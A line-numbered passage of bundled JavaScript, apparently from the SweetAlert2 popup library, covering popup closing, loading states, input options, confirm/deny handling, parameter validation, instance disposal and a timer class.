  1683. handleAwaitingPromise(this);
  1684. if (rejectPromise2) {
  1685. rejectPromise2(error2);
  1686. }
  1687. }
  1688. const handleAwaitingPromise = (instance) => {
  1689. if (instance.isAwaitingPromise) {
  1690. delete instance.isAwaitingPromise;
  1691. if (!privateProps.innerParams.get(instance)) {
  1692. instance._destroy();
  1693. }
  1694. }
  1695. };
  1696. const prepareResolveValue = (resolveValue) => {
  1697. if (typeof resolveValue === "undefined") {
  1698. return {
  1699. isConfirmed: false,
  1700. isDenied: false,
  1701. isDismissed: true
  1702. };
  1703. }
  1704. return Object.assign({
  1705. isConfirmed: false,
  1706. isDenied: false,
  1707. isDismissed: false
  1708. }, resolveValue);
  1709. };
  1710. const handlePopupAnimation = (instance, popup, innerParams) => {
  1711. const container = getContainer();
  1712. const animationIsSupported = animationEndEvent && hasCssAnimation(popup);
  1713. if (typeof innerParams.willClose === "function") {
  1714. innerParams.willClose(popup);
  1715. }
  1716. if (animationIsSupported) {
  1717. animatePopup(instance, popup, container, innerParams.returnFocus, innerParams.didClose);
  1718. } else {
  1719. removePopupAndResetState(instance, container, innerParams.returnFocus, innerParams.didClose);
  1720. }
  1721. };
  1722. const animatePopup = (instance, popup, container, returnFocus, didClose) => {
  1723. globalState.swalCloseEventFinishedCallback = removePopupAndResetState.bind(null, instance, container, returnFocus, didClose);
  1724. popup.addEventListener(animationEndEvent, function(e) {
  1725. if (e.target === popup) {
  1726. globalState.swalCloseEventFinishedCallback();
  1727. delete globalState.swalCloseEventFinishedCallback;
  1728. }
  1729. });
  1730. };
  1731. const triggerDidCloseAndDispose = (instance, didClose) => {
  1732. setTimeout(() => {
  1733. if (typeof didClose === "function") {
  1734. didClose.bind(instance.params)();
  1735. }
  1736. if (instance._destroy) {
  1737. instance._destroy();
  1738. }
  1739. });
  1740. };
  1741. const showLoading = (buttonToReplace) => {
  1742. let popup = getPopup();
  1743. if (!popup) {
  1744. new Swal3();
  1745. }
  1746. popup = getPopup();
  1747. const loader = getLoader();
  1748. if (isToast()) {
  1749. hide(getIcon());
  1750. } else {
  1751. replaceButton(popup, buttonToReplace);
  1752. }
  1753. show(loader);
  1754. popup.setAttribute("data-loading", "true");
  1755. popup.setAttribute("aria-busy", "true");
  1756. popup.focus();
  1757. };
  1758. const replaceButton = (popup, buttonToReplace) => {
  1759. const actions = getActions();
  1760. const loader = getLoader();
  1761. if (!buttonToReplace && isVisible$1(getConfirmButton())) {
  1762. buttonToReplace = getConfirmButton();
  1763. }
  1764. show(actions);
  1765. if (buttonToReplace) {
  1766. hide(buttonToReplace);
  1767. loader.setAttribute("data-button-to-replace", buttonToReplace.className);
  1768. }
  1769. loader.parentNode.insertBefore(loader, buttonToReplace);
  1770. addClass([popup, actions], swalClasses.loading);
  1771. };
  1772. const handleInputOptionsAndValue = (instance, params) => {
  1773. if (params.input === "select" || params.input === "radio") {
  1774. handleInputOptions(instance, params);
  1775. } else if (["text", "email", "number", "tel", "textarea"].includes(params.input) && (hasToPromiseFn(params.inputValue) || isPromise(params.inputValue))) {
  1776. showLoading(getConfirmButton());
  1777. handleInputValue(instance, params);
  1778. }
  1779. };
  1780. const getInputValue = (instance, innerParams) => {
  1781. const input = instance.getInput();
  1782. if (!input) {
  1783. return null;
  1784. }
  1785. switch (innerParams.input) {
  1786. case "checkbox":
  1787. return getCheckboxValue(input);
  1788. case "radio":
  1789. return getRadioValue(input);
  1790. case "file":
  1791. return getFileValue(input);
  1792. default:
  1793. return innerParams.inputAutoTrim ? input.value.trim() : input.value;
  1794. }
  1795. };
  1796. const getCheckboxValue = (input) => input.checked ? 1 : 0;
  1797. const getRadioValue = (input) => input.checked ? input.value : null;
  1798. const getFileValue = (input) => input.files.length ? input.getAttribute("multiple") !== null ? input.files : input.files[0] : null;
  1799. const handleInputOptions = (instance, params) => {
  1800. const popup = getPopup();
  1801. const processInputOptions = (inputOptions) => {
  1802. populateInputOptions[params.input](popup, formatInputOptions(inputOptions), params);
  1803. };
  1804. if (hasToPromiseFn(params.inputOptions) || isPromise(params.inputOptions)) {
  1805. showLoading(getConfirmButton());
  1806. asPromise(params.inputOptions).then((inputOptions) => {
  1807. instance.hideLoading();
  1808. processInputOptions(inputOptions);
  1809. });
  1810. } else if (typeof params.inputOptions === "object") {
  1811. processInputOptions(params.inputOptions);
  1812. } else {
  1813. error(`Unexpected type of inputOptions! Expected object, Map or Promise, got ${typeof params.inputOptions}`);
  1814. }
  1815. };
  1816. const handleInputValue = (instance, params) => {
  1817. const input = instance.getInput();
  1818. hide(input);
  1819. asPromise(params.inputValue).then((inputValue) => {
  1820. input.value = params.input === "number" ? `${parseFloat(inputValue) || 0}` : `${inputValue}`;
  1821. show(input);
  1822. input.focus();
  1823. instance.hideLoading();
  1824. }).catch((err) => {
  1825. error(`Error in inputValue promise: ${err}`);
  1826. input.value = "";
  1827. show(input);
  1828. input.focus();
  1829. instance.hideLoading();
  1830. });
  1831. };
  1832. const populateInputOptions = {
  1833. /**
  1834. * @param {HTMLElement} popup
  1835. * @param {Record<string, any>} inputOptions
  1836. * @param {SweetAlertOptions} params
  1837. */
  1838. select: (popup, inputOptions, params) => {
  1839. const select = getDirectChildByClass(popup, swalClasses.select);
  1840. const renderOption = (parent, optionLabel, optionValue) => {
  1841. const option = document.createElement("option");
  1842. option.value = optionValue;
  1843. setInnerHtml(option, optionLabel);
  1844. option.selected = isSelected(optionValue, params.inputValue);
  1845. parent.appendChild(option);
  1846. };
  1847. inputOptions.forEach((inputOption) => {
  1848. const optionValue = inputOption[0];
  1849. const optionLabel = inputOption[1];
  1850. if (Array.isArray(optionLabel)) {
  1851. const optgroup = document.createElement("optgroup");
  1852. optgroup.label = optionValue;
  1853. optgroup.disabled = false;
  1854. select.appendChild(optgroup);
  1855. optionLabel.forEach((o) => renderOption(optgroup, o[1], o[0]));
  1856. } else {
  1857. renderOption(select, optionLabel, optionValue);
  1858. }
  1859. });
  1860. select.focus();
  1861. },
  1862. /**
  1863. * @param {HTMLElement} popup
  1864. * @param {Record<string, any>} inputOptions
  1865. * @param {SweetAlertOptions} params
  1866. */
  1867. radio: (popup, inputOptions, params) => {
  1868. const radio = getDirectChildByClass(popup, swalClasses.radio);
  1869. inputOptions.forEach((inputOption) => {
  1870. const radioValue = inputOption[0];
  1871. const radioLabel = inputOption[1];
  1872. const radioInput = document.createElement("input");
  1873. const radioLabelElement = document.createElement("label");
  1874. radioInput.type = "radio";
  1875. radioInput.name = swalClasses.radio;
  1876. radioInput.value = radioValue;
  1877. if (isSelected(radioValue, params.inputValue)) {
  1878. radioInput.checked = true;
  1879. }
  1880. const label = document.createElement("span");
  1881. setInnerHtml(label, radioLabel);
  1882. label.className = swalClasses.label;
  1883. radioLabelElement.appendChild(radioInput);
  1884. radioLabelElement.appendChild(label);
  1885. radio.appendChild(radioLabelElement);
  1886. });
  1887. const radios = radio.querySelectorAll("input");
  1888. if (radios.length) {
  1889. radios[0].focus();
  1890. }
  1891. }
  1892. };
  1893. const formatInputOptions = (inputOptions) => {
  1894. const result = [];
  1895. if (typeof Map !== "undefined" && inputOptions instanceof Map) {
  1896. inputOptions.forEach((value, key) => {
  1897. let valueFormatted = value;
  1898. if (typeof valueFormatted === "object") {
  1899. valueFormatted = formatInputOptions(valueFormatted);
  1900. }
  1901. result.push([key, valueFormatted]);
  1902. });
  1903. } else {
  1904. Object.keys(inputOptions).forEach((key) => {
  1905. let valueFormatted = inputOptions[key];
  1906. if (typeof valueFormatted === "object") {
  1907. valueFormatted = formatInputOptions(valueFormatted);
  1908. }
  1909. result.push([key, valueFormatted]);
  1910. });
  1911. }
  1912. return result;
  1913. };
  1914. const isSelected = (optionValue, inputValue) => {
  1915. return inputValue && inputValue.toString() === optionValue.toString();
  1916. };
  1917. const handleConfirmButtonClick = (instance) => {
  1918. const innerParams = privateProps.innerParams.get(instance);
  1919. instance.disableButtons();
  1920. if (innerParams.input) {
  1921. handleConfirmOrDenyWithInput(instance, "confirm");
  1922. } else {
  1923. confirm(instance, true);
  1924. }
  1925. };
  1926. const handleDenyButtonClick = (instance) => {
  1927. const innerParams = privateProps.innerParams.get(instance);
  1928. instance.disableButtons();
  1929. if (innerParams.returnInputValueOnDeny) {
  1930. handleConfirmOrDenyWithInput(instance, "deny");
  1931. } else {
  1932. deny(instance, false);
  1933. }
  1934. };
  1935. const handleCancelButtonClick = (instance, dismissWith) => {
  1936. instance.disableButtons();
  1937. dismissWith(DismissReason.cancel);
  1938. };
  1939. const handleConfirmOrDenyWithInput = (instance, type) => {
  1940. const innerParams = privateProps.innerParams.get(instance);
  1941. if (!innerParams.input) {
  1942. error(`The "input" parameter is needed to be set when using returnInputValueOn${capitalizeFirstLetter(type)}`);
  1943. return;
  1944. }
  1945. const inputValue = getInputValue(instance, innerParams);
  1946. if (innerParams.inputValidator) {
  1947. handleInputValidator(instance, inputValue, type);
  1948. } else if (!instance.getInput().checkValidity()) {
  1949. instance.enableButtons();
  1950. instance.showValidationMessage(innerParams.validationMessage);
  1951. } else if (type === "deny") {
  1952. deny(instance, inputValue);
  1953. } else {
  1954. confirm(instance, inputValue);
  1955. }
  1956. };
  1957. const handleInputValidator = (instance, inputValue, type) => {
  1958. const innerParams = privateProps.innerParams.get(instance);
  1959. instance.disableInput();
  1960. const validationPromise = Promise.resolve().then(() => asPromise(innerParams.inputValidator(inputValue, innerParams.validationMessage)));
  1961. validationPromise.then((validationMessage) => {
  1962. instance.enableButtons();
  1963. instance.enableInput();
  1964. if (validationMessage) {
  1965. instance.showValidationMessage(validationMessage);
  1966. } else if (type === "deny") {
  1967. deny(instance, inputValue);
  1968. } else {
  1969. confirm(instance, inputValue);
  1970. }
  1971. });
  1972. };
  1973. const deny = (instance, value) => {
  1974. const innerParams = privateProps.innerParams.get(instance || void 0);
  1975. if (innerParams.showLoaderOnDeny) {
  1976. showLoading(getDenyButton());
  1977. }
  1978. if (innerParams.preDeny) {
  1979. instance.isAwaitingPromise = true;
  1980. const preDenyPromise = Promise.resolve().then(() => asPromise(innerParams.preDeny(value, innerParams.validationMessage)));
  1981. preDenyPromise.then((preDenyValue) => {
  1982. if (preDenyValue === false) {
  1983. instance.hideLoading();
  1984. handleAwaitingPromise(instance);
  1985. } else {
  1986. instance.close({
  1987. isDenied: true,
  1988. value: typeof preDenyValue === "undefined" ? value : preDenyValue
  1989. });
  1990. }
  1991. }).catch((error2) => rejectWith(instance || void 0, error2));
  1992. } else {
  1993. instance.close({
  1994. isDenied: true,
  1995. value
  1996. });
  1997. }
  1998. };
  1999. const succeedWith = (instance, value) => {
  2000. instance.close({
  2001. isConfirmed: true,
  2002. value
  2003. });
  2004. };
  2005. const rejectWith = (instance, error2) => {
  2006. instance.rejectPromise(error2);
  2007. };
  2008. const confirm = (instance, value) => {
  2009. const innerParams = privateProps.innerParams.get(instance || void 0);
  2010. if (innerParams.showLoaderOnConfirm) {
  2011. showLoading();
  2012. }
  2013. if (innerParams.preConfirm) {
  2014. instance.resetValidationMessage();
  2015. instance.isAwaitingPromise = true;
  2016. const preConfirmPromise = Promise.resolve().then(() => asPromise(innerParams.preConfirm(value, innerParams.validationMessage)));
  2017. preConfirmPromise.then((preConfirmValue) => {
  2018. if (isVisible$1(getValidationMessage()) || preConfirmValue === false) {
  2019. instance.hideLoading();
  2020. handleAwaitingPromise(instance);
  2021. } else {
  2022. succeedWith(instance, typeof preConfirmValue === "undefined" ? value : preConfirmValue);
  2023. }
  2024. }).catch((error2) => rejectWith(instance || void 0, error2));
  2025. } else {
  2026. succeedWith(instance, value);
  2027. }
  2028. };
  2029. function hideLoading() {
  2030. const innerParams = privateProps.innerParams.get(this);
  2031. if (!innerParams) {
  2032. return;
  2033. }
  2034. const domCache = privateProps.domCache.get(this);
  2035. hide(domCache.loader);
  2036. if (isToast()) {
  2037. if (innerParams.icon) {
  2038. show(getIcon());
  2039. }
  2040. } else {
  2041. showRelatedButton(domCache);
  2042. }
  2043. removeClass([domCache.popup, domCache.actions], swalClasses.loading);
  2044. domCache.popup.removeAttribute("aria-busy");
  2045. domCache.popup.removeAttribute("data-loading");
  2046. domCache.confirmButton.disabled = false;
  2047. domCache.denyButton.disabled = false;
  2048. domCache.cancelButton.disabled = false;
  2049. }
  2050. const showRelatedButton = (domCache) => {
  2051. const buttonToReplace = domCache.popup.getElementsByClassName(domCache.loader.getAttribute("data-button-to-replace"));
  2052. if (buttonToReplace.length) {
  2053. show(buttonToReplace[0], "inline-block");
  2054. } else if (allButtonsAreHidden()) {
  2055. hide(domCache.actions);
  2056. }
  2057. };
  2058. function getInput() {
  2059. const innerParams = privateProps.innerParams.get(this);
  2060. const domCache = privateProps.domCache.get(this);
  2061. if (!domCache) {
  2062. return null;
  2063. }
  2064. return getInput$1(domCache.popup, innerParams.input);
  2065. }
  2066. function setButtonsDisabled(instance, buttons, disabled) {
  2067. const domCache = privateProps.domCache.get(instance);
  2068. buttons.forEach((button) => {
  2069. domCache[button].disabled = disabled;
  2070. });
  2071. }
  2072. function setInputDisabled(input, disabled) {
  2073. if (!input) {
  2074. return;
  2075. }
  2076. if (input.type === "radio") {
  2077. const radiosContainer = input.parentNode.parentNode;
  2078. const radios = radiosContainer.querySelectorAll("input");
  2079. for (let i = 0; i < radios.length; i++) {
  2080. radios[i].disabled = disabled;
  2081. }
  2082. } else {
  2083. input.disabled = disabled;
  2084. }
  2085. }
  2086. function enableButtons() {
  2087. setButtonsDisabled(this, ["confirmButton", "denyButton", "cancelButton"], false);
  2088. }
  2089. function disableButtons() {
  2090. setButtonsDisabled(this, ["confirmButton", "denyButton", "cancelButton"], true);
  2091. }
  2092. function enableInput() {
  2093. setInputDisabled(this.getInput(), false);
  2094. }
  2095. function disableInput() {
  2096. setInputDisabled(this.getInput(), true);
  2097. }
  2098. function showValidationMessage(error2) {
  2099. const domCache = privateProps.domCache.get(this);
  2100. const params = privateProps.innerParams.get(this);
  2101. setInnerHtml(domCache.validationMessage, error2);
  2102. domCache.validationMessage.className = swalClasses["validation-message"];
  2103. if (params.customClass && params.customClass.validationMessage) {
  2104. addClass(domCache.validationMessage, params.customClass.validationMessage);
  2105. }
  2106. show(domCache.validationMessage);
  2107. const input = this.getInput();
  2108. if (input) {
  2109. input.setAttribute("aria-invalid", true);
  2110. input.setAttribute("aria-describedby", swalClasses["validation-message"]);
  2111. focusInput(input);
  2112. addClass(input, swalClasses.inputerror);
  2113. }
  2114. }
  2115. function resetValidationMessage() {
  2116. const domCache = privateProps.domCache.get(this);
  2117. if (domCache.validationMessage) {
  2118. hide(domCache.validationMessage);
  2119. }
  2120. const input = this.getInput();
  2121. if (input) {
  2122. input.removeAttribute("aria-invalid");
  2123. input.removeAttribute("aria-describedby");
  2124. removeClass(input, swalClasses.inputerror);
  2125. }
  2126. }
  2127. const defaultParams = {
  2128. title: "",
  2129. titleText: "",
  2130. text: "",
  2131. html: "",
  2132. footer: "",
  2133. icon: void 0,
  2134. iconColor: void 0,
  2135. iconHtml: void 0,
  2136. template: void 0,
  2137. toast: false,
  2138. showClass: {
  2139. popup: "swal2-show",
  2140. backdrop: "swal2-backdrop-show",
  2141. icon: "swal2-icon-show"
  2142. },
  2143. hideClass: {
  2144. popup: "swal2-hide",
  2145. backdrop: "swal2-backdrop-hide",
  2146. icon: "swal2-icon-hide"
  2147. },
  2148. customClass: {},
  2149. target: "body",
  2150. color: void 0,
  2151. backdrop: true,
  2152. heightAuto: true,
  2153. allowOutsideClick: true,
  2154. allowEscapeKey: true,
  2155. allowEnterKey: true,
  2156. stopKeydownPropagation: true,
  2157. keydownListenerCapture: false,
  2158. showConfirmButton: true,
  2159. showDenyButton: false,
  2160. showCancelButton: false,
  2161. preConfirm: void 0,
  2162. preDeny: void 0,
  2163. confirmButtonText: "OK",
  2164. confirmButtonAriaLabel: "",
  2165. confirmButtonColor: void 0,
  2166. denyButtonText: "No",
  2167. denyButtonAriaLabel: "",
  2168. denyButtonColor: void 0,
  2169. cancelButtonText: "Cancel",
  2170. cancelButtonAriaLabel: "",
  2171. cancelButtonColor: void 0,
  2172. buttonsStyling: true,
  2173. reverseButtons: false,
  2174. focusConfirm: true,
  2175. focusDeny: false,
  2176. focusCancel: false,
  2177. returnFocus: true,
  2178. showCloseButton: false,
  2179. closeButtonHtml: "&times;",
  2180. closeButtonAriaLabel: "Close this dialog",
  2181. loaderHtml: "",
  2182. showLoaderOnConfirm: false,
  2183. showLoaderOnDeny: false,
  2184. imageUrl: void 0,
  2185. imageWidth: void 0,
  2186. imageHeight: void 0,
  2187. imageAlt: "",
  2188. timer: void 0,
  2189. timerProgressBar: false,
  2190. width: void 0,
  2191. padding: void 0,
  2192. background: void 0,
  2193. input: void 0,
  2194. inputPlaceholder: "",
  2195. inputLabel: "",
  2196. inputValue: "",
  2197. inputOptions: {},
  2198. inputAutoFocus: true,
  2199. inputAutoTrim: true,
  2200. inputAttributes: {},
  2201. inputValidator: void 0,
  2202. returnInputValueOnDeny: false,
  2203. validationMessage: void 0,
  2204. grow: false,
  2205. position: "center",
  2206. progressSteps: [],
  2207. currentProgressStep: void 0,
  2208. progressStepsDistance: void 0,
  2209. willOpen: void 0,
  2210. didOpen: void 0,
  2211. didRender: void 0,
  2212. willClose: void 0,
  2213. didClose: void 0,
  2214. didDestroy: void 0,
  2215. scrollbarPadding: true
  2216. };
  2217. const updatableParams = ["allowEscapeKey", "allowOutsideClick", "background", "buttonsStyling", "cancelButtonAriaLabel", "cancelButtonColor", "cancelButtonText", "closeButtonAriaLabel", "closeButtonHtml", "color", "confirmButtonAriaLabel", "confirmButtonColor", "confirmButtonText", "currentProgressStep", "customClass", "denyButtonAriaLabel", "denyButtonColor", "denyButtonText", "didClose", "didDestroy", "footer", "hideClass", "html", "icon", "iconColor", "iconHtml", "imageAlt", "imageHeight", "imageUrl", "imageWidth", "preConfirm", "preDeny", "progressSteps", "returnFocus", "reverseButtons", "showCancelButton", "showCloseButton", "showConfirmButton", "showDenyButton", "text", "title", "titleText", "willClose"];
  2218. const deprecatedParams = {};
  2219. const toastIncompatibleParams = ["allowOutsideClick", "allowEnterKey", "backdrop", "focusConfirm", "focusDeny", "focusCancel", "returnFocus", "heightAuto", "keydownListenerCapture"];
  2220. const isValidParameter = (paramName) => {
  2221. return Object.prototype.hasOwnProperty.call(defaultParams, paramName);
  2222. };
  2223. const isUpdatableParameter = (paramName) => {
  2224. return updatableParams.indexOf(paramName) !== -1;
  2225. };
  2226. const isDeprecatedParameter = (paramName) => {
  2227. return deprecatedParams[paramName];
  2228. };
  2229. const checkIfParamIsValid = (param) => {
  2230. if (!isValidParameter(param)) {
  2231. warn(`Unknown parameter "${param}"`);
  2232. }
  2233. };
  2234. const checkIfToastParamIsValid = (param) => {
  2235. if (toastIncompatibleParams.includes(param)) {
  2236. warn(`The parameter "${param}" is incompatible with toasts`);
  2237. }
  2238. };
  2239. const checkIfParamIsDeprecated = (param) => {
  2240. const isDeprecated = isDeprecatedParameter(param);
  2241. if (isDeprecated) {
  2242. warnAboutDeprecation(param, isDeprecated);
  2243. }
  2244. };
  2245. const showWarningsForParams = (params) => {
  2246. if (params.backdrop === false && params.allowOutsideClick) {
  2247. warn('"allowOutsideClick" parameter requires `backdrop` parameter to be set to `true`');
  2248. }
  2249. for (const param in params) {
  2250. checkIfParamIsValid(param);
  2251. if (params.toast) {
  2252. checkIfToastParamIsValid(param);
  2253. }
  2254. checkIfParamIsDeprecated(param);
  2255. }
  2256. };
  2257. function update(params) {
  2258. const popup = getPopup();
  2259. const innerParams = privateProps.innerParams.get(this);
  2260. if (!popup || hasClass(popup, innerParams.hideClass.popup)) {
  2261. warn(`You're trying to update the closed or closing popup, that won't work. Use the update() method in preConfirm parameter or show a new popup.`);
  2262. return;
  2263. }
  2264. const validUpdatableParams = filterValidParams(params);
  2265. const updatedParams = Object.assign({}, innerParams, validUpdatableParams);
  2266. render(this, updatedParams);
  2267. privateProps.innerParams.set(this, updatedParams);
  2268. Object.defineProperties(this, {
  2269. params: {
  2270. value: Object.assign({}, this.params, params),
  2271. writable: false,
  2272. enumerable: true
  2273. }
  2274. });
  2275. }
  2276. const filterValidParams = (params) => {
  2277. const validUpdatableParams = {};
  2278. Object.keys(params).forEach((param) => {
  2279. if (isUpdatableParameter(param)) {
  2280. validUpdatableParams[param] = params[param];
  2281. } else {
  2282. warn(`Invalid parameter to update: ${param}`);
  2283. }
  2284. });
  2285. return validUpdatableParams;
  2286. };
  2287. function _destroy() {
  2288. const domCache = privateProps.domCache.get(this);
  2289. const innerParams = privateProps.innerParams.get(this);
  2290. if (!innerParams) {
  2291. disposeWeakMaps(this);
  2292. return;
  2293. }
  2294. if (domCache.popup && globalState.swalCloseEventFinishedCallback) {
  2295. globalState.swalCloseEventFinishedCallback();
  2296. delete globalState.swalCloseEventFinishedCallback;
  2297. }
  2298. if (typeof innerParams.didDestroy === "function") {
  2299. innerParams.didDestroy();
  2300. }
  2301. disposeSwal(this);
  2302. }
  2303. const disposeSwal = (instance) => {
  2304. disposeWeakMaps(instance);
  2305. delete instance.params;
  2306. delete globalState.keydownHandler;
  2307. delete globalState.keydownTarget;
  2308. delete globalState.currentInstance;
  2309. };
  2310. const disposeWeakMaps = (instance) => {
  2311. if (instance.isAwaitingPromise) {
  2312. unsetWeakMaps(privateProps, instance);
  2313. instance.isAwaitingPromise = true;
  2314. } else {
  2315. unsetWeakMaps(privateMethods, instance);
  2316. unsetWeakMaps(privateProps, instance);
  2317. delete instance.isAwaitingPromise;
  2318. delete instance.disableButtons;
  2319. delete instance.enableButtons;
  2320. delete instance.getInput;
  2321. delete instance.disableInput;
  2322. delete instance.enableInput;
  2323. delete instance.hideLoading;
  2324. delete instance.disableLoading;
  2325. delete instance.showValidationMessage;
  2326. delete instance.resetValidationMessage;
  2327. delete instance.close;
  2328. delete instance.closePopup;
  2329. delete instance.closeModal;
  2330. delete instance.closeToast;
  2331. delete instance.rejectPromise;
  2332. delete instance.update;
  2333. delete instance._destroy;
  2334. }
  2335. };
  2336. const unsetWeakMaps = (obj, instance) => {
  2337. for (const i in obj) {
  2338. obj[i].delete(instance);
  2339. }
  2340. };
  2341. var instanceMethods = /* @__PURE__ */ Object.freeze({
  2342. __proto__: null,
  2343. _destroy,
  2344. close,
  2345. closeModal: close,
  2346. closePopup: close,
  2347. closeToast: close,
  2348. disableButtons,
  2349. disableInput,
  2350. disableLoading: hideLoading,
  2351. enableButtons,
  2352. enableInput,
  2353. getInput,
  2354. handleAwaitingPromise,
  2355. hideLoading,
  2356. rejectPromise,
  2357. resetValidationMessage,
  2358. showValidationMessage,
  2359. update
  2360. });
  2361. const handlePopupClick = (instance, domCache, dismissWith) => {
  2362. const innerParams = privateProps.innerParams.get(instance);
  2363. if (innerParams.toast) {
  2364. handleToastClick(instance, domCache, dismissWith);
  2365. } else {
  2366. handleModalMousedown(domCache);
  2367. handleContainerMousedown(domCache);
  2368. handleModalClick(instance, domCache, dismissWith);
  2369. }
  2370. };
  2371. const handleToastClick = (instance, domCache, dismissWith) => {
  2372. domCache.popup.onclick = () => {
  2373. const innerParams = privateProps.innerParams.get(instance);
  2374. if (innerParams && (isAnyButtonShown(innerParams) || innerParams.timer || innerParams.input)) {
  2375. return;
  2376. }
  2377. dismissWith(DismissReason.close);
  2378. };
  2379. };
  2380. const isAnyButtonShown = (innerParams) => {
  2381. return innerParams.showConfirmButton || innerParams.showDenyButton || innerParams.showCancelButton || innerParams.showCloseButton;
  2382. };
  2383. let ignoreOutsideClick = false;
  2384. const handleModalMousedown = (domCache) => {
  2385. domCache.popup.onmousedown = () => {
  2386. domCache.container.onmouseup = function(e) {
  2387. domCache.container.onmouseup = void 0;
  2388. if (e.target === domCache.container) {
  2389. ignoreOutsideClick = true;
  2390. }
  2391. };
  2392. };
  2393. };
  2394. const handleContainerMousedown = (domCache) => {
  2395. domCache.container.onmousedown = () => {
  2396. domCache.popup.onmouseup = function(e) {
  2397. domCache.popup.onmouseup = void 0;
  2398. if (e.target === domCache.popup || domCache.popup.contains(e.target)) {
  2399. ignoreOutsideClick = true;
  2400. }
  2401. };
  2402. };
  2403. };
  2404. const handleModalClick = (instance, domCache, dismissWith) => {
  2405. domCache.container.onclick = (e) => {
  2406. const innerParams = privateProps.innerParams.get(instance);
  2407. if (ignoreOutsideClick) {
  2408. ignoreOutsideClick = false;
  2409. return;
  2410. }
  2411. if (e.target === domCache.container && callIfFunction(innerParams.allowOutsideClick)) {
  2412. dismissWith(DismissReason.backdrop);
  2413. }
  2414. };
  2415. };
  2416. const isJqueryElement = (elem) => typeof elem === "object" && elem.jquery;
  2417. const isElement = (elem) => elem instanceof Element || isJqueryElement(elem);
  2418. const argsToParams = (args) => {
  2419. const params = {};
  2420. if (typeof args[0] === "object" && !isElement(args[0])) {
  2421. Object.assign(params, args[0]);
  2422. } else {
  2423. ["title", "html", "icon"].forEach((name, index) => {
  2424. const arg = args[index];
  2425. if (typeof arg === "string" || isElement(arg)) {
  2426. params[name] = arg;
  2427. } else if (arg !== void 0) {
  2428. error(`Unexpected type of ${name}! Expected "string" or "Element", got ${typeof arg}`);
  2429. }
  2430. });
  2431. }
  2432. return params;
  2433. };
  2434. function fire() {
  2435. const Swal4 = this;
  2436. for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
  2437. args[_key] = arguments[_key];
  2438. }
  2439. return new Swal4(...args);
  2440. }
  2441. function mixin(mixinParams) {
  2442. class MixinSwal extends this {
  2443. _main(params, priorityMixinParams) {
  2444. return super._main(params, Object.assign({}, mixinParams, priorityMixinParams));
  2445. }
  2446. }
  2447. return MixinSwal;
  2448. }
  2449. const getTimerLeft = () => {
  2450. return globalState.timeout && globalState.timeout.getTimerLeft();
  2451. };
  2452. const stopTimer = () => {
  2453. if (globalState.timeout) {
  2454. stopTimerProgressBar();
  2455. return globalState.timeout.stop();
  2456. }
  2457. };
  2458. const resumeTimer = () => {
  2459. if (globalState.timeout) {
  2460. const remaining = globalState.timeout.start();
  2461. animateTimerProgressBar(remaining);
  2462. return remaining;
  2463. }
  2464. };
  2465. const toggleTimer = () => {
  2466. const timer = globalState.timeout;
  2467. return timer && (timer.running ? stopTimer() : resumeTimer());
  2468. };
  2469. const increaseTimer = (n) => {
  2470. if (globalState.timeout) {
  2471. const remaining = globalState.timeout.increase(n);
  2472. animateTimerProgressBar(remaining, true);
  2473. return remaining;
  2474. }
  2475. };
  2476. const isTimerRunning = () => {
  2477. return !!(globalState.timeout && globalState.timeout.isRunning());
  2478. };
  2479. let bodyClickListenerAdded = false;
  2480. const clickHandlers = {};
  2481. function bindClickHandler() {
  2482. let attr = arguments.length > 0 && arguments[0] !== void 0 ? arguments[0] : "data-swal-template";
  2483. clickHandlers[attr] = this;
  2484. if (!bodyClickListenerAdded) {
  2485. document.body.addEventListener("click", bodyClickListener);
  2486. bodyClickListenerAdded = true;
  2487. }
  2488. }
  2489. const bodyClickListener = (event) => {
  2490. for (let el = event.target; el && el !== document; el = el.parentNode) {
  2491. for (const attr in clickHandlers) {
  2492. const template = el.getAttribute(attr);
  2493. if (template) {
  2494. clickHandlers[attr].fire({
  2495. template
  2496. });
  2497. return;
  2498. }
  2499. }
  2500. }
  2501. };
  2502. var staticMethods = /* @__PURE__ */ Object.freeze({
  2503. __proto__: null,
  2504. argsToParams,
  2505. bindClickHandler,
  2506. clickCancel,
  2507. clickConfirm,
  2508. clickDeny,
  2509. enableLoading: showLoading,
  2510. fire,
  2511. getActions,
  2512. getCancelButton,
  2513. getCloseButton,
  2514. getConfirmButton,
  2515. getContainer,
  2516. getDenyButton,
  2517. getFocusableElements,
  2518. getFooter,
  2519. getHtmlContainer,
  2520. getIcon,
  2521. getIconContent,
  2522. getImage,
  2523. getInputLabel,
  2524. getLoader,
  2525. getPopup,
  2526. getProgressSteps,
  2527. getTimerLeft,
  2528. getTimerProgressBar,
  2529. getTitle,
  2530. getValidationMessage,
  2531. increaseTimer,
  2532. isDeprecatedParameter,
  2533. isLoading,
  2534. isTimerRunning,
  2535. isUpdatableParameter,
  2536. isValidParameter,
  2537. isVisible,
  2538. mixin,
  2539. resumeTimer,
  2540. showLoading,
  2541. stopTimer,
  2542. toggleTimer
  2543. });
  2544. class Timer {
  2545. /**
  2546. * @param {Function} callback
  2547. * @param {number} delay
  2548. */
  2549. constructor(callback, delay) {
  2550. this.callback = callback;
  2551. this.remaining = delay;
  2552. this.running = false;
  2553. this.start();
  2554. }
  2555. /**
  2556. * @returns {number}
  2557. */
  2558. start() {
  2559. if (!this.running) {
  2560. this.running = true;
  2561. this.started = /* @__PURE__ */ new Date();
  2562. this.id = setTimeout(this.callback, this.remaining);
  2563. }
  2564. return this.remaining;
  2565. }
  2566. /**
  2567. * @returns {number}
  2568. */
  2569. stop() {
  2570. if (this.started && this.running) {
  2571. this.running = false;
  2572. clearTimeout(this.id);
  2573. this.remaining -= (/* @__PURE__ */ new Date()).getTime() - this.started.getTime();
  2574. }
  2575. return this.remaining;
  2576. }
  2577. /**
  2578. * @param {number} n
  2579. * @returns {number}
  2580. */
  2581. increase(n) {
  2582. const running = this.running;
  2583. if (running) {
  2584. this.stop();
  2585. }
  2586. this.remaining += n;
  2587. if (running) {
  2588. this.start();
  2589. }
  2590. return this.remaining;
  2591. }
  2592. /**
  2593. * @returns {number}
  2594. */
  2595. getTimerLeft() {
  2596. if (this.running) {
  2597. this.stop();
  2598. this.start();
  2599. }
  2600. return this.remaining;
  2601. }
  2602. /**
  2603. * @returns {boolean}
  2604. */
  2605. isRunning() {
  2606. return this.running;
  2607. }
  2608. }
  2609. const swalStringParams = ["swal-title", "swal-html", "swal-footer"];
  2610. const getTemplateParams = (params) => {
  2611. const template = typeof params.template === "string" ? document.querySelector(params.template) : params.template;
